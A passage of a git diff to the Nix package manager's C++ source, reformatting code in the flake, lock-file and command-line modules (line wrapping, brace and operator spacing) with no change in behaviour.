('%s')", topRef, *unlockedInput); + warn( + "will not write lock file of flake '%s' because it has an unlocked input ('%s')", + topRef, + *unlockedInput); } else { if (!lockFlags.updateLockFile) - throw Error("flake '%s' requires lock file changes but they're not allowed due to '--no-update-lock-file'", topRef); + throw Error( + "flake '%s' requires lock file changes but they're not allowed due to '--no-update-lock-file'", + topRef); auto newLockFileS = fmt("%s\n", newLockFile); @@ -888,7 +875,8 @@ LockedFlake lockFlake( topRef.input.putFile( CanonPath((topRef.subdir == "" ? "" : topRef.subdir + "/") + "flake.lock"), - newLockFileS, commitMessage); + newLockFileS, + commitMessage); } /* Rewriting the lockfile changed the top-level @@ -897,24 +885,21 @@ LockedFlake lockFlake( auto prevLockedRef = flake.lockedRef; flake = getFlake(state, topRef, useRegistries); - if (lockFlags.commitLockFile && - flake.lockedRef.input.getRev() && - prevLockedRef.input.getRev() != flake.lockedRef.input.getRev()) + if (lockFlags.commitLockFile && flake.lockedRef.input.getRev() + && prevLockedRef.input.getRev() != flake.lockedRef.input.getRev()) warn("committed new revision '%s'", flake.lockedRef.input.getRev()->gitRev()); } } else - throw Error("cannot write modified lock file of flake '%s' (use '--no-write-lock-file' to ignore)", topRef); + throw Error( + "cannot write modified lock file of flake '%s' (use '--no-write-lock-file' to ignore)", topRef); } else { warn("not writing modified lock file of flake '%s':\n%s", topRef, chomp(diff)); flake.forceDirty = true; } } - return LockedFlake { - .flake = std::move(flake), - .lockFile = std::move(newLockFile), - .nodePaths = std::move(nodePaths) - }; + return LockedFlake{ + .flake = std::move(flake), .lockFile = std::move(newLockFile), .nodePaths = std::move(nodePaths)}; } catch (Error & e) { e.addTrace({}, "while updating the lock file of flake '%s'", flake.lockedRef.to_string()); @@ -922,28 +907,28 @@ LockedFlake lockFlake( } } -static ref makeInternalFS() { - auto internalFS = make_ref(MemorySourceAccessor {}); +static ref makeInternalFS() +{ + auto internalFS = make_ref(MemorySourceAccessor{}); internalFS->setPathDisplay("«flakes-internal»", ""); internalFS->addFile( CanonPath("call-flake.nix"), - #include "call-flake.nix.gen.hh" +#include "call-flake.nix.gen.hh" ); return internalFS; } static auto internalFS = makeInternalFS(); -static Value * requireInternalFile(EvalState & state, CanonPath path) { - SourcePath p {internalFS, path}; +static Value * requireInternalFile(EvalState & state, CanonPath path) +{ + SourcePath p{internalFS, path}; auto v = state.allocValue(); state.evalFile(p, *v); // has caching return v; } -void callFlake(EvalState & state, - const LockedFlake & lockedFlake, - Value & vRes) +void callFlake(EvalState & state, const LockedFlake & lockedFlake, Value & vRes) { experimentalFeatureSettings.require(Xp::Flakes); @@ -971,9 +956,7 @@ void callFlake(EvalState & state, auto key = keyMap.find(node); assert(key != keyMap.end()); - override - .alloc(state.symbols.create("dir")) - .mkString(CanonPath(subdir).rel()); + override.alloc(state.symbols.create("dir")).mkString(CanonPath(subdir).rel()); overrides.alloc(state.symbols.create(key->second)).mkAttrs(override); } @@ -994,14 +977,14 @@ void callFlake(EvalState & state, } -std::optional LockedFlake::getFingerprint( - ref store, - const fetchers::Settings & fetchSettings) const +std::optional LockedFlake::getFingerprint(ref store, const fetchers::Settings & fetchSettings) const { - if (lockFile.isUnlocked(fetchSettings)) return std::nullopt; + if (lockFile.isUnlocked(fetchSettings)) + return std::nullopt; auto fingerprint = flake.lockedRef.input.getFingerprint(store); - if (!fingerprint) return std::nullopt; + if (!fingerprint) + return std::nullopt; *fingerprint += fmt(";%s;%s", flake.lockedRef.subdir, lockFile); @@ -1019,6 +1002,6 @@ std::optional LockedFlake::getFingerprint( return hashString(HashAlgorithm::SHA256, *fingerprint); } -Flake::~Flake() { } +Flake::~Flake() {} } diff --git a/src/libflake/flake/flakeref.cc b/src/libflake/flake/flakeref.cc index 1580c2846..3e0d8e747 100644 --- a/src/libflake/flake/flakeref.cc +++ b/src/libflake/flake/flakeref.cc @@ -29,15 +29,13 @@ fetchers::Attrs FlakeRef::toAttrs() const return attrs; } -std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef) +std::ostream & operator<<(std::ostream & str, const FlakeRef & flakeRef) { str << flakeRef.to_string(); return str; } -FlakeRef FlakeRef::resolve( - ref store, - const fetchers::RegistryFilter & filter) const +FlakeRef FlakeRef::resolve(ref store, const fetchers::RegistryFilter & filter) const { auto [input2, extraAttrs] = lookupInRegistries(store, input, filter); return FlakeRef(std::move(input2), fetchers::maybeGetStrAttr(extraAttrs, "dir").value_or(subdir)); @@ -51,16 +49,15 @@ FlakeRef parseFlakeRef( bool isFlake, bool preserveRelativePaths) { - auto [flakeRef, fragment] = parseFlakeRefWithFragment(fetchSettings, url, baseDir, allowMissing, isFlake, preserveRelativePaths); + auto [flakeRef, fragment] = + parseFlakeRefWithFragment(fetchSettings, url, baseDir, allowMissing, isFlake, preserveRelativePaths); if (fragment != "") throw Error("unexpected fragment '%s' in flake reference '%s'", fragment, url); return flakeRef; } std::optional maybeParseFlakeRef( - const fetchers::Settings & fetchSettings, - const std::string & url, - const std::optional & baseDir) + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir) { try { return parseFlakeRef(fetchSettings, url, baseDir); @@ -69,10 +66,8 @@ std::optional maybeParseFlakeRef( } } -static std::pair fromParsedURL( - const fetchers::Settings & fetchSettings, - ParsedURL && parsedURL, - bool isFlake) +static std::pair +fromParsedURL(const fetchers::Settings & fetchSettings, ParsedURL && parsedURL, bool isFlake) { auto dir = getOr(parsedURL.query, "dir", ""); parsedURL.query.erase("dir"); @@ -91,9 +86,7 @@ std::pair parsePathFlakeRefWithFragment( bool isFlake, bool preserveRelativePaths) { - static std::regex pathFlakeRegex( - R"(([^?#]*)(\?([^#]*))?(#(.*))?)", - std::regex::ECMAScript); + static std::regex pathFlakeRegex(R"(([^?#]*)(\?([^#]*))?(#(.*))?)", std::regex::ECMAScript); std::smatch match; auto succeeds = std::regex_match(url, match, pathFlakeRegex); @@ -116,16 +109,17 @@ std::pair parsePathFlakeRefWithFragment( // Be gentle with people who accidentally write `/foo/bar/flake.nix` instead of `/foo/bar` warn( "Path '%s' should point at the directory containing the 'flake.nix' file, not the file itself. " - "Pretending that you meant '%s'" - , path, dirOf(path)); + "Pretending that you meant '%s'", + path, + dirOf(path)); path = dirOf(path); } else { throw BadURL("path '%s' is not a flake (because it's not a directory)", path); } } - if (!allowMissing && !pathExists(path + "/flake.nix")){ - notice("path '%s' does not contain a 'flake.nix', searching up",path); + if (!allowMissing && !pathExists(path + "/flake.nix")) { + notice("path '%s' does not contain a 'flake.nix', searching up", path); // Save device to detect filesystem boundary dev_t device = lstat(path).st_dev; @@ -135,7 +129,9 @@ std::pair parsePathFlakeRefWithFragment( found = true; break; } else if (pathExists(path + "/.git")) - throw Error("path '%s' is not part of a flake (neither it nor its parent directories contain a 'flake.nix' file)", path); + throw Error( + "path '%s' is not part of a flake (neither it nor its parent directories contain a 'flake.nix' file)", + path); else { if (lstat(path).st_dev != device) throw Error("unable to find a flake before encountering filesystem boundary at '%s'", path); @@ -184,29 +180,23 @@ std::pair parsePathFlakeRefWithFragment( throw BadURL("flake reference '%s' is not an absolute path", url); } - return fromParsedURL(fetchSettings, { - .scheme = "path", - .authority = "", - .path = path, - .query = query, - .fragment = fragment - }, isFlake); + return fromParsedURL( + fetchSettings, + {.scheme = "path", .authority = "", .path = path, .query = query, .fragment = fragment}, + isFlake); } /** * Check if `url` is a flake ID. This is an abbreviated syntax for * `flake:?ref=&rev=`. */ -static std::optional> parseFlakeIdRef( - const fetchers::Settings & fetchSettings, - const std::string & url, - bool isFlake) +static std::optional> +parseFlakeIdRef(const fetchers::Settings & fetchSettings, const std::string & url, bool isFlake) { std::smatch match; static std::regex flakeRegex( - "((" + flakeIdRegexS + ")(?:/(?:" + refAndOrRevRegex + "))?)" - + "(?:#(" + fragmentRegex + "))?", + "((" + flakeIdRegexS + ")(?:/(?:" + refAndOrRevRegex + "))?)" + "(?:#(" + fragmentRegex + "))?", std::regex::ECMAScript); if (std::regex_match(url, match, flakeRegex)) { @@ -217,8 +207,7 @@ static std::optional> parseFlakeIdRef( }; return std::make_pair( - FlakeRef(fetchers::Input::fromURL(fetchSettings, parsedURL, isFlake), ""), - percentDecode(match.str(6))); + FlakeRef(fetchers::Input::fromURL(fetchSettings, parsedURL, isFlake), ""), percentDecode(match.str(6))); } return {}; @@ -232,9 +221,7 @@ std::optional> parseURLFlakeRef( { try { auto parsed = parseURL(url); - if (baseDir - && (parsed.scheme == "path" || parsed.scheme == "git+file") - && !isAbsolute(parsed.path)) + if (baseDir && (parsed.scheme == "path" || parsed.scheme == "git+file") && !isAbsolute(parsed.path)) parsed.path = absPath(parsed.path, *baseDir); return fromParsedURL(fetchSettings, std::move(parsed), isFlake); } catch (BadURL &) { @@ -262,8 +249,7 @@ std::pair parseFlakeRefWithFragment( } std::optional> maybeParseFlakeRefWithFragment( - const fetchers::Settings & fetchSettings, - const std::string & url, const std::optional & baseDir) + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir) { try { return parseFlakeRefWithFragment(fetchSettings, url, baseDir); @@ -272,9 +258,7 @@ std::optional> maybeParseFlakeRefWithFragment( } } -FlakeRef FlakeRef::fromAttrs( - const fetchers::Settings & fetchSettings, - const fetchers::Attrs & attrs) +FlakeRef FlakeRef::fromAttrs(const fetchers::Settings & fetchSettings, const fetchers::Attrs & attrs) { auto attrs2(attrs); attrs2.erase("dir"); @@ -297,9 +281,8 @@ std::tuple parseFlakeRefWithFragment bool isFlake) { auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(url); - auto [flakeRef, fragment] = parseFlakeRefWithFragment( - fetchSettings, - std::string { prefix }, baseDir, allowMissing, isFlake); + auto [flakeRef, fragment] = + parseFlakeRefWithFragment(fetchSettings, std::string{prefix}, baseDir, allowMissing, isFlake); return {std::move(flakeRef), fragment, std::move(extendedOutputsSpec)}; } diff --git a/src/libflake/flake/lockfile.cc b/src/libflake/flake/lockfile.cc index 646516caf..efb18df19 100644 --- a/src/libflake/flake/lockfile.cc +++ b/src/libflake/flake/lockfile.cc @@ -12,14 +12,10 @@ #include #include - namespace nix::flake { -static FlakeRef getFlakeRef( - const fetchers::Settings & fetchSettings, - const nlohmann::json & json, - const char * attr, - const char * info) +static FlakeRef +getFlakeRef(const fetchers::Settings & fetchSettings, const nlohmann::json & json, const char * attr, const char * info) { auto i = json.find(attr); if (i != json.end()) { @@ -38,13 +34,12 @@ static FlakeRef getFlakeRef( throw Error("attribute '%s' missing in lock file", attr); } -LockedNode::LockedNode( - const fetchers::Settings & fetchSettings, - const nlohmann::json & json) +LockedNode::LockedNode(const fetchers::Settings & fetchSettings, const nlohmann::json & json) : lockedRef(getFlakeRef(fetchSettings, json, "locked", "info")) // FIXME: remove "info" , originalRef(getFlakeRef(fetchSettings, json, "original", nullptr)) , isFlake(json.find("flake") != json.end() ? (bool) json["flake"] : true) - , parentInputAttrPath(json.find("parent") != json.end() ? (std::optional) json["parent"] : std::nullopt) + , parentInputAttrPath( + json.find("parent") != json.end() ? (std::optional) json["parent"] : std::nullopt) { if (!lockedRef.input.isLocked() && !lockedRef.input.isRelative()) { if (lockedRef.input.getNarHash()) @@ -53,7 +48,8 @@ LockedNode::LockedNode( "This is deprecated since such inputs are verifiable but may not be reproducible.", lockedRef.to_string()); else - throw Error("Lock file contains unlocked input '%s'. Use '--allow-dirty-locks' to accept this lock file.", + throw Error( + "Lock file contains unlocked input '%s'. Use '--allow-dirty-locks' to accept this lock file.", fetchers::attrsToJSON(lockedRef.input.toAttrs())); } @@ -67,7 +63,8 @@ StorePath LockedNode::computeStorePath(Store & store) const return lockedRef.input.computeStorePath(store); } -static std::shared_ptr doFind(const ref & root, const InputAttrPath & path, std::vector & visited) +static std::shared_ptr +doFind(const ref & root, const InputAttrPath & path, std::vector & visited) { auto pos = root; @@ -104,9 +101,7 @@ std::shared_ptr LockFile::findInput(const InputAttrPath & path) return doFind(root, path, visited); } -LockFile::LockFile( - const fetchers::Settings & fetchSettings, - std::string_view contents, std::string_view path) +LockFile::LockFile(const fetchers::Settings & fetchSettings, std::string_view contents, std::string_view path) { auto json = [=] { try { @@ -123,9 +118,9 @@ LockFile::LockFile( std::function getInputs; - getInputs = [&](Node & node, const nlohmann::json & jsonNode) - { - if (jsonNode.find("inputs") == jsonNode.end()) return; + getInputs = [&](Node & node, const nlohmann::json & jsonNode) { + if (jsonNode.find("inputs") == jsonNode.end()) + return; for (auto & i : jsonNode["inputs"].items()) { if (i.value().is_array()) { // FIXME: remove, obsolete InputAttrPath path; @@ -171,14 +166,13 @@ std::pair LockFile::toJSON() const std::function node)> dumpNode; - dumpNode = [&](std::string key, ref node) -> std::string - { + dumpNode = [&](std::string key, ref node) -> std::string { auto k = nodeKeys.find(node); if (k != nodeKeys.end()) return k->second; if (!keys.insert(key).second) { - for (int n = 2; ; ++n) { + for (int n = 2;; ++n) { auto k = fmt("%s_%d", key, n); if (keys.insert(k).second) { key = k; @@ -239,7 +233,7 @@ std::pair LockFile::to_string() const return {json.dump(2), std::move(nodeKeys)}; } -std::ostream & operator <<(std::ostream & stream, const LockFile & lockFile) +std::ostream & operator<<(std::ostream & stream, const LockFile & lockFile) { stream << lockFile.toJSON().first.dump(2); return stream; @@ -251,9 +245,9 @@ std::optional LockFile::isUnlocked(const fetchers::Settings & fetchSet std::function node)> visit; - visit = [&](ref node) - { - if (!nodes.insert(node).second) return; + visit = [&](ref node) { + if (!nodes.insert(node).second) + return; for (auto & i : node->inputs) if (auto child = std::get_if<0>(&i.second)) visit(*child); @@ -265,17 +259,15 @@ std::optional LockFile::isUnlocked(const fetchers::Settings & fetchSet `allow-dirty-locks` is enabled, it has a NAR hash. In the latter case, we can verify the input but we may not be able to fetch it from anywhere. */ - auto isConsideredLocked = [&](const fetchers::Input & input) - { + auto isConsideredLocked = [&](const fetchers::Input & input) { return input.isLocked() || (fetchSettings.allowDirtyLocks && input.getNarHash()); }; for (auto & i : nodes) { - if (i == ref(root)) continue; + if (i == ref(root)) + continue; auto node = i.dynamic_pointer_cast(); - if (node - && (!isConsideredLocked(node->lockedRef.input) - || !node->lockedRef.input.isFinal()) + if (node && (!isConsideredLocked(node->lockedRef.input) || !node->lockedRef.input.isFinal()) && !node->lockedRef.input.isRelative()) return node->lockedRef; } @@ -283,7 +275,7 @@ std::optional LockFile::isUnlocked(const fetchers::Settings & fetchSet return {}; } -bool LockFile::operator ==(const LockFile & other) const +bool LockFile::operator==(const LockFile & other) const { // FIXME: slow return toJSON().first == other.toJSON().first; @@ -309,11 +301,11 @@ std::map LockFile::getAllInputs() const std::function node)> recurse; - recurse = [&](const InputAttrPath & prefix, ref node) - { - if (!done.insert(node).second) return; + recurse = [&](const InputAttrPath & prefix, ref node) { + if (!done.insert(node).second) + return; - for (auto &[id, input] : node->inputs) { + for (auto & [id, input] : node->inputs) { auto inputAttrPath(prefix); inputAttrPath.push_back(id); res.emplace(inputAttrPath, input); @@ -337,7 +329,7 @@ static std::string describe(const FlakeRef & flakeRef) return s; } -std::ostream & operator <<(std::ostream & stream, const Node::Edge & edge) +std::ostream & operator<<(std::ostream & stream, const Node::Edge & edge) { if (auto node = std::get_if<0>(&edge)) stream << describe((*node)->lockedRef); @@ -368,18 +360,19 @@ std::string LockFile::diff(const LockFile & oldLocks, const LockFile & newLocks) while (i != oldFlat.end() || j != newFlat.end()) { if (j != newFlat.end() && (i == oldFlat.end() || i->first > j->first)) { - res += fmt("• " ANSI_GREEN "Added input '%s':" ANSI_NORMAL "\n %s\n", - printInputAttrPath(j->first), j->second); + res += fmt( + "• " ANSI_GREEN "Added input '%s':" ANSI_NORMAL "\n %s\n", printInputAttrPath(j->first), j->second); ++j; } else if (i != oldFlat.end() && (j == newFlat.end() || i->first < j->first)) { res += fmt("• " ANSI_RED "Removed input '%s'" ANSI_NORMAL "\n", printInputAttrPath(i->first)); ++i; } else { if (!equals(i->second, j->second)) { - res += fmt("• " ANSI_BOLD "Updated input '%s':" ANSI_NORMAL "\n %s\n → %s\n", - printInputAttrPath(i->first), - i->second, - j->second); + res += + fmt("• " ANSI_BOLD "Updated input '%s':" ANSI_NORMAL "\n %s\n → %s\n", + printInputAttrPath(i->first), + i->second, + j->second); } ++i; ++j; @@ -396,7 +389,8 @@ void LockFile::check() for (auto & [inputAttrPath, input] : inputs) { if (auto follows = std::get_if<1>(&input)) { if (!follows->empty() && !findInput(*follows)) - throw Error("input '%s' follows a non-existent input '%s'", + throw Error( + "input '%s' follows a non-existent input '%s'", printInputAttrPath(inputAttrPath), printInputAttrPath(*follows)); } diff --git a/src/libflake/flake/url-name.cc b/src/libflake/flake/url-name.cc index 3e3311cf7..6b2f4be66 100644 --- a/src/libflake/flake/url-name.cc +++ b/src/libflake/flake/url-name.cc @@ -5,10 +5,11 @@ namespace nix { static const std::string attributeNamePattern("[a-zA-Z0-9_-]+"); -static const std::regex lastAttributeRegex("^((?:" + attributeNamePattern + "\\.)*)(" + attributeNamePattern +")(\\^.*)?$"); +static const std::regex + lastAttributeRegex("^((?:" + attributeNamePattern + "\\.)*)(" + attributeNamePattern + ")(\\^.*)?$"); static const std::string pathSegmentPattern("[a-zA-Z0-9_-]+"); -static const std::regex lastPathSegmentRegex(".*/(" + pathSegmentPattern +")"); -static const std::regex secondPathSegmentRegex("(?:" + pathSegmentPattern + ")/(" + pathSegmentPattern +")(?:/.*)?"); +static const std::regex lastPathSegmentRegex(".*/(" + pathSegmentPattern + ")"); +static const std::regex secondPathSegmentRegex("(?:" + pathSegmentPattern + ")/(" + pathSegmentPattern + ")(?:/.*)?"); static const std::regex gitProviderRegex("github|gitlab|sourcehut"); static const std::regex gitSchemeRegex("git($|\\+.*)"); @@ -21,8 +22,7 @@ std::optional getNameFromURL(const ParsedURL & url) return url.query.at("dir"); /* If the fragment isn't a "default" and contains two attribute elements, use the last one */ - if (std::regex_match(url.fragment, match, lastAttributeRegex) - && match.str(1) != "defaultPackage." + if (std::regex_match(url.fragment, match, lastAttributeRegex) && match.str(1) != "defaultPackage." && match.str(2) != "default") { return match.str(2); } diff --git a/src/libflake/include/nix/flake/flake.hh b/src/libflake/include/nix/flake/flake.hh index 3b98f1400..30bb364b7 100644 --- a/src/libflake/include/nix/flake/flake.hh +++ b/src/libflake/include/nix/flake/flake.hh @@ -134,9 +134,7 @@ struct LockedFlake */ std::map, SourcePath> nodePaths; - std::optional getFingerprint( - ref store, - const fetchers::Settings & fetchSettings) const; + std::optional getFingerprint(ref store, const fetchers::Settings & fetchSettings) const; }; struct LockFlags @@ -215,16 +213,10 @@ struct LockFlags std::set inputUpdates; }; -LockedFlake lockFlake( - const Settings & settings, - EvalState & state, - const FlakeRef & flakeRef, - const LockFlags & lockFlags); +LockedFlake +lockFlake(const Settings & settings, EvalState & state, const FlakeRef & flakeRef, const LockFlags & lockFlags); -void callFlake( - EvalState & state, - const LockedFlake & lockedFlake, - Value & v); +void callFlake(EvalState & state, const LockedFlake & lockedFlake, Value & v); } @@ -241,6 +233,6 @@ void emitTreeAttrs( * always treats the input as final (i.e. no attributes can be * added/removed/changed). */ -void prim_fetchFinalTree(EvalState & state, const PosIdx pos, Value * * args, Value & v); +void prim_fetchFinalTree(EvalState & state, const PosIdx pos, Value ** args, Value & v); } diff --git a/src/libflake/include/nix/flake/flakeref.hh b/src/libflake/include/nix/flake/flakeref.hh index 0fd1fec4d..1a9d632f8 100644 --- a/src/libflake/include/nix/flake/flakeref.hh +++ b/src/libflake/include/nix/flake/flakeref.hh @@ -47,34 +47,32 @@ struct FlakeRef */ Path subdir; - bool operator ==(const FlakeRef & other) const = default; + bool operator==(const FlakeRef & other) const = default; - bool operator <(const FlakeRef & other) const + bool operator<(const FlakeRef & other) const { return std::tie(input, subdir) < std::tie(other.input, other.subdir); } FlakeRef(fetchers::Input && input, const Path & subdir) - : input(std::move(input)), subdir(subdir) - { } + : input(std::move(input)) + , subdir(subdir) + { + } // FIXME: change to operator <<. std::string to_string() const; fetchers::Attrs toAttrs() const; - FlakeRef resolve( - ref store, - const fetchers::RegistryFilter & filter = {}) const; + FlakeRef resolve(ref store, const fetchers::RegistryFilter & filter = {}) const; - static FlakeRef fromAttrs( - const fetchers::Settings & fetchSettings, - const fetchers::Attrs & attrs); + static FlakeRef fromAttrs(const fetchers::Settings & fetchSettings, const fetchers::Attrs & attrs); std::pair, FlakeRef> lazyFetch(ref store) const; }; -std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef); +std::ostream & operator<<(std::ostream & str, const FlakeRef & flakeRef); /** * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) @@ -91,9 +89,7 @@ FlakeRef parseFlakeRef( * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) */ std::optional maybeParseFlake( - const fetchers::Settings & fetchSettings, - const std::string & url, - const std::optional & baseDir = {}); + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}); /** * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) @@ -110,9 +106,7 @@ std::pair parseFlakeRefWithFragment( * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) */ std::optional> maybeParseFlakeRefWithFragment( - const fetchers::Settings & fetchSettings, - const std::string & url, - const std::optional & baseDir = {}); + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}); /** * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) diff --git a/src/libflake/include/nix/flake/lockfile.hh b/src/libflake/include/nix/flake/lockfile.hh index 97bd7a495..76f7d5409 100644 --- a/src/libflake/include/nix/flake/lockfile.hh +++ b/src/libflake/include/nix/flake/lockfile.hh @@ -27,7 +27,7 @@ struct Node : std::enable_shared_from_this std::map inputs; - virtual ~Node() { } + virtual ~Node() {} }; /** @@ -51,11 +51,10 @@ struct LockedNode : Node , originalRef(std::move(originalRef)) , isFlake(isFlake) , parentInputAttrPath(std::move(parentInputAttrPath)) - { } + { + } - LockedNode( - const fetchers::Settings & fetchSettings, - const nlohmann::json & json); + LockedNode(const fetchers::Settings & fetchSettings, const nlohmann::json & json); StorePath computeStorePath(Store & store) const; }; @@ -65,9 +64,7 @@ struct LockFile ref root = make_ref(); LockFile() {}; - LockFile( - const fetchers::Settings & fetchSettings, - std::string_view contents, std::string_view path); + LockFile(const fetchers::Settings & fetchSettings, std::string_view contents, std::string_view path); typedef std::map, std::string> KeyMap; @@ -81,7 +78,7 @@ struct LockFile */ std::optional isUnlocked(const fetchers::Settings & fetchSettings) const; - bool operator ==(const LockFile & other) const; + bool operator==(const LockFile & other) const; std::shared_ptr findInput(const InputAttrPath & path); @@ -95,7 +92,7 @@ struct LockFile void check(); }; -std::ostream & operator <<(std::ostream & stream, const LockFile & lockFile); +std::ostream & operator<<(std::ostream & stream, const LockFile & lockFile); InputAttrPath parseInputAttrPath(std::string_view s); diff --git a/src/libmain/common-args.cc b/src/libmain/common-args.cc index dcf252a4f..6055ec0e7 100644 --- a/src/libmain/common-args.cc +++ b/src/libmain/common-args.cc @@ -51,15 +51,16 @@ MixCommonArgs::MixCommonArgs(const std::string & programName) warn(e.what()); } }}, - .completer = [](AddCompletions & completions, size_t index, std::string_view prefix) { - if (index == 0) { - std::map settings; - globalConfig.getSettings(settings); - for (auto & s : settings) - if (hasPrefix(s.first, prefix)) - completions.add(s.first, fmt("Set the `%s` setting.", s.first)); - } - }, + .completer = + [](AddCompletions & completions, size_t index, std::string_view prefix) { + if (index == 0) { + std::map settings; + globalConfig.getSettings(settings); + for (auto & s : settings) + if (hasPrefix(s.first, prefix)) + completions.add(s.first, fmt("Set the `%s` setting.", s.first)); + } + }, }); addFlag({ @@ -75,16 +76,15 @@ MixCommonArgs::MixCommonArgs(const std::string & programName) .shortName = 'j', .description = "The maximum number of parallel builds.", .labels = Strings{"jobs"}, - .handler = {[=](std::string s) { - settings.set("max-jobs", s); - }}, + .handler = {[=](std::string s) { settings.set("max-jobs", s); }}, }); std::string cat = "Options to override configuration settings"; globalConfig.convertToArgs(*this, cat); // Backward compatibility hack: nix-env already had a --system flag. - if (programName == "nix-env") longFlags.erase("system"); + if (programName == "nix-env") + longFlags.erase("system"); hiddenCategories.insert(cat); } @@ -95,7 +95,7 @@ void MixCommonArgs::initialFlagsProcessed() pluginsInited(); } -template +template void MixPrintJSON::printJSON(const T /* nlohmann::json */ & json) { auto suspension = logger->suspend(); @@ -108,5 +108,4 @@ void MixPrintJSON::printJSON(const T /* nlohmann::json */ & json) template void MixPrintJSON::printJSON(const nlohmann::json & json); - } // namespace nix diff --git a/src/libmain/include/nix/main/common-args.hh b/src/libmain/include/nix/main/common-args.hh index cc6d3d3f0..be2a8d681 100644 --- a/src/libmain/include/nix/main/common-args.hh +++ b/src/libmain/include/nix/main/common-args.hh @@ -6,7 +6,7 @@ namespace nix { -//static constexpr auto commonArgsCategory = "Miscellaneous common options"; +// static constexpr auto commonArgsCategory = "Miscellaneous common options"; static constexpr auto loggingCategory = "Logging-related options"; static constexpr auto miscCategory = "Miscellaneous global options"; @@ -86,7 +86,7 @@ struct MixPrintJSON : virtual Args * but you _can_ print a sole JSON string by explicitly coercing it to * `nlohmann::json` first. */ - template >> + template>> void printJSON(const T & json); }; @@ -113,9 +113,8 @@ struct MixRepair : virtual Args { addFlag({ .longName = "repair", - .description = - "During evaluation, rewrite missing or corrupted files in the Nix store. " - "During building, rebuild missing or corrupted store paths.", + .description = "During evaluation, rewrite missing or corrupted files in the Nix store. " + "During building, rebuild missing or corrupted store paths.", .category = miscCategory, .handler = {&repair, Repair}, }); diff --git a/src/libmain/include/nix/main/loggers.hh b/src/libmain/include/nix/main/loggers.hh index 061b4a32a..8f5292168 100644 --- a/src/libmain/include/nix/main/loggers.hh +++ b/src/libmain/include/nix/main/loggers.hh @@ -6,11 +6,11 @@ namespace nix { enum class LogFormat { - raw, - rawWithLogs, - internalJSON, - bar, - barWithLogs, + raw, + rawWithLogs, + internalJSON, + bar, + barWithLogs, }; void setLogFormat(const std::string & logFormatStr); diff --git a/src/libmain/include/nix/main/shared.hh b/src/libmain/include/nix/main/shared.hh index 2ff57135b..eda11ea51 100644 --- a/src/libmain/include/nix/main/shared.hh +++ b/src/libmain/include/nix/main/shared.hh @@ -21,10 +21,12 @@ int handleExceptions(const std::string & programName, std::function fun) */ void initNix(bool loadConfig = true); -void parseCmdLine(int argc, char * * argv, - std::function parseArg); +void parseCmdLine( + int argc, char ** argv, std::function parseArg); -void parseCmdLine(const std::string & programName, const Strings & args, +void parseCmdLine( + const std::string & programName, + const Strings & args, std::function parseArg); void printVersion(const std::string & programName); @@ -36,32 +38,34 @@ void printGCWarning(); class Store; +void printMissing(ref store, const std::vector & paths, Verbosity lvl = lvlInfo); + void printMissing( ref store, - const std::vector & paths, + const StorePathSet & willBuild, + const StorePathSet & willSubstitute, + const StorePathSet & unknown, + uint64_t downloadSize, + uint64_t narSize, Verbosity lvl = lvlInfo); -void printMissing(ref store, const StorePathSet & willBuild, - const StorePathSet & willSubstitute, const StorePathSet & unknown, - uint64_t downloadSize, uint64_t narSize, Verbosity lvl = lvlInfo); +std::string getArg(const std::string & opt, Strings::iterator & i, const Strings::iterator & end); -std::string getArg(const std::string & opt, - Strings::iterator & i, const Strings::iterator & end); - -template N getIntArg(const std::string & opt, - Strings::iterator & i, const Strings::iterator & end, bool allowUnit) +template +N getIntArg(const std::string & opt, Strings::iterator & i, const Strings::iterator & end, bool allowUnit) { ++i; - if (i == end) throw UsageError("'%1%' requires an argument", opt); + if (i == end) + throw UsageError("'%1%' requires an argument", opt); return string2IntWithUnitPrefix(*i); } - struct LegacyArgs : public MixCommonArgs, public RootArgs { std::function parseArg; - LegacyArgs(const std::string & programName, + LegacyArgs( + const std::string & programName, std::function parseArg); bool processFlag(Strings::iterator & pos, Strings::iterator end) override; @@ -69,7 +73,6 @@ struct LegacyArgs : public MixCommonArgs, public RootArgs bool processArgs(const Strings & args, bool finish) override; }; - /** * The constructor of this class starts a pager if standard output is a * terminal and $PAGER is set. Standard output is redirected to the @@ -90,7 +93,6 @@ private: extern volatile ::sig_atomic_t blockInt; - /* GC helpers. */ std::string showBytes(uint64_t bytes); @@ -102,11 +104,13 @@ struct PrintFreed bool show; const GCResults & results; PrintFreed(bool show, const GCResults & results) - : show(show), results(results) { } + : show(show) + , results(results) + { + } ~PrintFreed(); }; - #ifndef _WIN32 /** * Install a SIGSEGV handler to detect stack overflows. diff --git a/src/libmain/progress-bar.cc b/src/libmain/progress-bar.cc index 23f5ff8f7..29913717c 100644 --- a/src/libmain/progress-bar.cc +++ b/src/libmain/progress-bar.cc @@ -133,8 +133,9 @@ public: updateThread.join(); } - void pause() override { - auto state (state_.lock()); + void pause() override + { + auto state(state_.lock()); state->suspensions++; if (state->suspensions > 1) { // already paused @@ -145,8 +146,9 @@ public: writeToStderr("\r\e[K"); } - void resume() override { - auto state (state_.lock()); + void resume() override + { + auto state(state_.lock()); if (state->suspensions == 0) { log(lvlError, "nix::ProgressBar: resume() called without a matching preceding pause(). This is a bug."); return; @@ -168,7 +170,8 @@ public: void log(Verbosity lvl, std::string_view s) override { - if (lvl > verbosity) return; + if (lvl > verbosity) + return; auto state(state_.lock()); log(*state, lvl, s); } @@ -193,20 +196,21 @@ public: } } - void startActivity(ActivityId act, Verbosity lvl, ActivityType type, - const std::string & s, const Fields & fields, ActivityId parent) override + void startActivity( + ActivityId act, + Verbosity lvl, + ActivityType type, + const std::string & s, + const Fields & fields, + ActivityId parent) override { auto state(state_.lock()); if (lvl <= verbosity && !s.empty() && type != actBuildWaiting) log(*state, lvl, s + "..."); - state->activities.emplace_back(ActInfo { - .s = s, - 